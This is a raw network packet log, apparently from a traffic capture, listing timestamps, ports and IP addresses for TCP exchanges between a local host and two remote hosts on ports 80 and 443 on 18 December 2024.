Dec 18, 2024 21:30:41.453897953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.455765009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.455868006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.455904007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.455945969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.457654953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.457720041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.457866907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.458026886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.459703922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.459775925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.459917068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.459969044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.461668968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.461747885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.461764097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.461781979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.463560104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.463701963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.463781118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.463830948 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.465529919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.465583086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.465718985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.465764999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.467613935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.467681885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.467744112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.467791080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.469597101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.469645977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.469705105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.469749928 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.471716881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.471795082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.471903086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.471946955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.473974943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.474021912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.474185944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.474244118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.475905895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.475991011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.476052046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.476095915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.478054047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.478157997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.478255033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.478301048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.480056047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.480142117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.480202913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.480300903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.482095957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.482161045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.482451916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.482496977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.483794928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.483838081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.483916044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.483968019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.485548019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.485589981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.485687017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.485738993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.487725019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.487787008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.487827063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.488049030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.489545107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.489612103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.489641905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.489765882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.491427898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.491493940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.491736889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.491805077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.493417978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.493478060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.493536949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.493581057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.494002104 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.494092941 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.495310068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.495429993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.495501995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.495547056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.495949030 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.495960951 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.496233940 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.497327089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.497411013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.497454882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.497545004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.497905016 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.498991013 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499032974 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.499140978 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499191999 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.499275923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.499363899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.499402046 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499411106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.499443054 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.499532938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.499568939 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499602079 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.499743938 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499784946 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.499939919 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499969006 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.499980927 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.499988079 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.500148058 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.500175953 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.500196934 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.500313997 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.500351906 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.501235962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.501291037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.501414061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.501461983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.503285885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.503344059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.503411055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.503659964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.505188942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.505311966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.505348921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.505388021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.507349014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.507409096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.507445097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.507493019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.543343067 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.543629885 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.543673992 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.543700933 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.543718100 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.543752909 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:41.543773890 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:41.598157883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.598227024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.598314047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.598378897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.598965883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.599010944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.599167109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.599206924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.600635052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.600688934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.600831032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.600876093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.602946997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.603009939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.603094101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.603173018 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.603971958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.604057074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.604291916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.604341030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.605917931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.606024027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.606046915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.606086016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.607508898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.607549906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.607702971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.607799053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.609004021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.609062910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.609431028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.610503912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.610711098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.612015009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.612041950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.612085104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.612200022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.612241983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.731539965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.731564999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.731650114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.731650114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.732053995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.732075930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.732122898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.851676941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.851706028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.851807117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.851807117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.852113962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.852134943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.852163076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.852176905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.971229076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.971249104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.971288919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.971323013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.971525908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.971539021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.971587896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.972152948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.972166061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.972209930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.972863913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.972877026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.972923040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.973558903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.973572016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.973582983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.973618984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.973643064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.974231005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.974244118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.974299908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.974937916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.974950075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.974978924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.975003958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.975645065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.975683928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.975702047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.975720882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.976309061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.976320982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.976358891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.976372004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.977036953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.977047920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.977057934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.977091074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.977125883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.977658987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.977670908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.977714062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.977726936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.978363991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.978375912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.978409052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.978423119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.979033947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.979046106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.979101896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.979758024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.979769945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.979779959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.979826927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.980412006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.980423927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.980473042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.980484962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.981178045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.981190920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.981245995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.981827021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.981838942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.981888056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.982492924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.982505083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.982558012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.983159065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.983172894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.983220100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.983511925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.983525038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.983582020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.984189987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.984201908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.984255075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.984884977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.984929085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.984978914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.985578060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.985590935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.985639095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.986284018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.986299038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.986309052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.986344099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.986370087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.986929893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.986941099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.986991882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.987647057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.987659931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.987711906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.988342047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.988353014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.988396883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.988409996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.989000082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.989037991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.989053011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.989073992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.989710093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.989722967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.989732981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.989763021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.989788055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.990343094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.990360975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.990391016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.990403891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.991076946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.991105080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.991126060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.991137981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.991763115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.991775990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.991811991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.992573023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.992584944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.992624044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.992654085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.993113995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.993124962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.993134975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.993161917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.993194103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.993808985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.993820906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.993861914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.994501114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.994513035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.994533062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.994566917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.994596958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.995289087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.995297909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.995347977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.995347977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.995862961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.995877028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.995887995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.995922089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.995949030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.996560097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.996572971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:41.996614933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:41.997251034 CET	80	49819	31.41.244.11	192.168.2.5
